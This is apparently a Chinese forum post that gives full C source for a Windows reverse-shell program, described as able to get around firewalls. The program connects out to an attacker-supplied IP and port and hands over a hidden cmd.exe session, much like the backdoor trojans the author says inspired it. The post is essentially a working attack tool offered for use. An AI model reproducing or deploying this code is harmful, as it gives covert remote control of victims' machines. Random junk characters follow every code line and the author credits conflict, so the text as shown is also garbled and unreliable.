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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 O>b&-U"R  
||*&g2Y  
/* ============================== k Nf!j  
Rebound port in Windows NT ^t^<KL;  
By wind,2006/7 Un8#f+odR  
===============================*/ )LMBxyS  
#include f/IRO33  
#include Q J(e*/  
YfrTvKX  
#pragma comment(lib,"wsock32.lib") [X$|dOm'N  
1=/MT#d^?  
void OutputShell(); xRTg [  
SOCKET sClient; vBCZ/F[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [# tT o;q  
+*:x#$phx  
void main(int argc,char **argv) !Wdt:MUI8  
{ ]X"i~$T1S  
WSADATA stWsaData; [6/%V>EM  
int nRet; T`RQUJO  
SOCKADDR_IN stSaiClient,stSaiServer; "ojDf3@{  
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if(argc != 3) hNR >Hy\  
{ 1Hk<_no5  
printf("Useage:\n\rRebound DestIP DestPort\n"); "z(fBnv  
return; 4?*"7t3  
} i}$N&  
0=(-8vwd  
WSAStartup(MAKEWORD(2,2),&stWsaData); WO \lny!  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yw3U"/yw  
t UAY]BJ*s  
stSaiClient.sin_family = AF_INET; T0np<l]A  
stSaiClient.sin_port = htons(0); w'!}(Z5X?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [r~rIb%Zj  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) No92Y^~/  
{ OL mBh3&  
printf("Bind Socket Failed!\n"); {7M4SC@p|  
return; )*$  
} :;hBq4h  
8HH.P`Vk#  
stSaiServer.sin_family = AF_INET; CgTQGJ}-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )8N)Z~h  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %f3Nml  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )l!&i?h%  
{ IpaJ<~ p  
printf("Connect Error!"); !i"9f_  
return; 9OJ\n|,(  
} y 4,T  
OutputShell(); s$nfY.C  
} I!0$% ]F  
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void OutputShell() enD C#  
{ 1r-,V X7  
char szBuff[1024]; k}Clq;G  
SECURITY_ATTRIBUTES stSecurityAttributes; <4A(Z$ZX)  
OSVERSIONINFO stOsversionInfo; gQ+_&'C  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j|$y)FBX  
STARTUPINFO stStartupInfo; BUy}Rn  
char *szShell; .*wjkirF#~  
PROCESS_INFORMATION stProcessInformation; jtVPv]  
unsigned long lBytesRead; raI~BIfe  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); FUTyx"   
j"$b%|  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?[>BssW  
stSecurityAttributes.lpSecurityDescriptor = 0; PRf\6   
stSecurityAttributes.bInheritHandle = TRUE; A&_i]o  
t;a}p_>  
?$8 ,j+&I  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); EpoQV^ Ey  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $lG--s  
AdN= y8T  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @ :   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iNrmhiql  
stStartupInfo.wShowWindow = SW_HIDE; :-'ri Ry  
stStartupInfo.hStdInput = hReadPipe; $}h_EI6hS  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %!hA\S  
O [ ;6E  
GetVersionEx(&stOsversionInfo); T.Y4L  
1MzB?[gx  
switch(stOsversionInfo.dwPlatformId) >8HRnCyp/  
{ "e};?|y  
case 1: * jNu?$  
szShell = "command.com"; P*^UU\x'4I  
break; GMp'KEQQ  
default: AxqTPx7`|  
szShell = "cmd.exe"; "@<g'T0  
break; /)<7$  
} 0BwQ!B.  
9lwo/(s  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); w\Eve:  
E rymx$@P  
send(sClient,szMsg,77,0); i~PZvxt  
while(1) g8@i_  
{ BO cEL%+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )UU6\2^  
if(lBytesRead) &(U=O?r7  
{ Ita!07  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); HQ#L |LN  
send(sClient,szBuff,lBytesRead,0); ha'm`LiX  
} tp3N5I  
else |`9zE]  
{ a{YVz\?d}  
lBytesRead=recv(sClient,szBuff,1024,0); I)4|?tb ?  
if(lBytesRead<=0) break; z&G3&?Z  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v?'k)B  
} #[ rFep  
} u6&Ixi/s'  
@[ N~;>  
return; si4=C  
}
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